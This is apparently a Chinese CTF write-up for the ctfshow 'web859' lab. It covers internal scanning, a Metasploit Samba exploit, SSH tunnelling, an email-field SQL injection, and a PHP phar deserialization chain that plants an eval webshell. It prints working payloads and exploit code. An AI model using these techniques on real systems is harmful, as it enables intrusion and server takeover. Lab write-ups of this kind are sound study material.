web859
首先ssh连接上之后传个fscan上去,扫描下内网靶机
发现.5和.6的比较可疑。
一个存在web服务,一个存在445端口。
先看下445端口,靶机给我们提供了msf,所以直接用msf打下Samba
msfconsole
use exploit/linux/samba/is_known_pipename
set rhost x.x.x.x
exploit
拿下之后就有flag了
再来看下另外一台靶机,因为存在web服务,但是又不能出网所以通过ssh端口映射到本地来
ssh -L 8085:172.2.107.5:80 ctfshow@pwn.challenge.ctf.show -p 28146
接着访问本地的8085就可以了。
在如图所示位置存在源码泄露,可以在gitee上下载下来。
接着就是代码审计了。首先在登录函数中存在doFilter对传入的用户名密码进行过滤,所以很难去注入。不过在dorest中貌似可以。
没有使用doFilter函数过滤,只是要求了我们传入的参数需要符合email格式。
我们可以通过构造恶意的邮箱来达到注入的目的
email='union/**/select/**/username/**/from/**/user#@qq.com&username=123
email='union/**/select/**/password/**/from/**/user#@qq.com&username=123
可以得到用户名密码分别为ctfshow ctfshase????
登录成功后页面存在文件上传功能
这个框架应该是没啥问题的,那我们在回过头来看看源码。
在api/index.php中存在一个写文件的功能,假如可以控制$mail
的值,就可以写入一个木马进去。
再来看哪里调用了sendResetMail
起始调用点是__wakeup
,但是没有给反序列化点怎么办呢?
没错,可以用phar,毕竟我们还有个文件上传的功能,后面需要做的就是这么触发phar。
在下面这个地方
$file是我们完全可控的。
需要的点都具备了,后面就是生成phar文件了
<?php
class action{
private $email="'.eval(\$_POST[1]));//";
}
$a = new action();
$phar = new Phar("yu22x.phar");
$phar->startBuffering();
$phar->setStub(file_get_contents('a.png')."<?php __HALT_COMPILER(); ?>");
$phar-> addFromString('test.txt','yu22x');
$phar->setMetadata($a);
$phar->stopBuffering();
上面用到的a.png随便找个真的png就可以了。
生成之后把后缀改成png上传
比如上图所示图片就在ckfinder/userfiles/images/yu22x.png
目录下。
接着通过phar伪协议触发。
api/index.php?a=view
file=phar:///var/www/html/ckfinder/userfiles/images/yu22x.png
成功之后蚁剑连接http://127.0.0.1:8085/mail_cache/cache.php即可。
后面又是上面fsan扫描,但其实没什么东西了。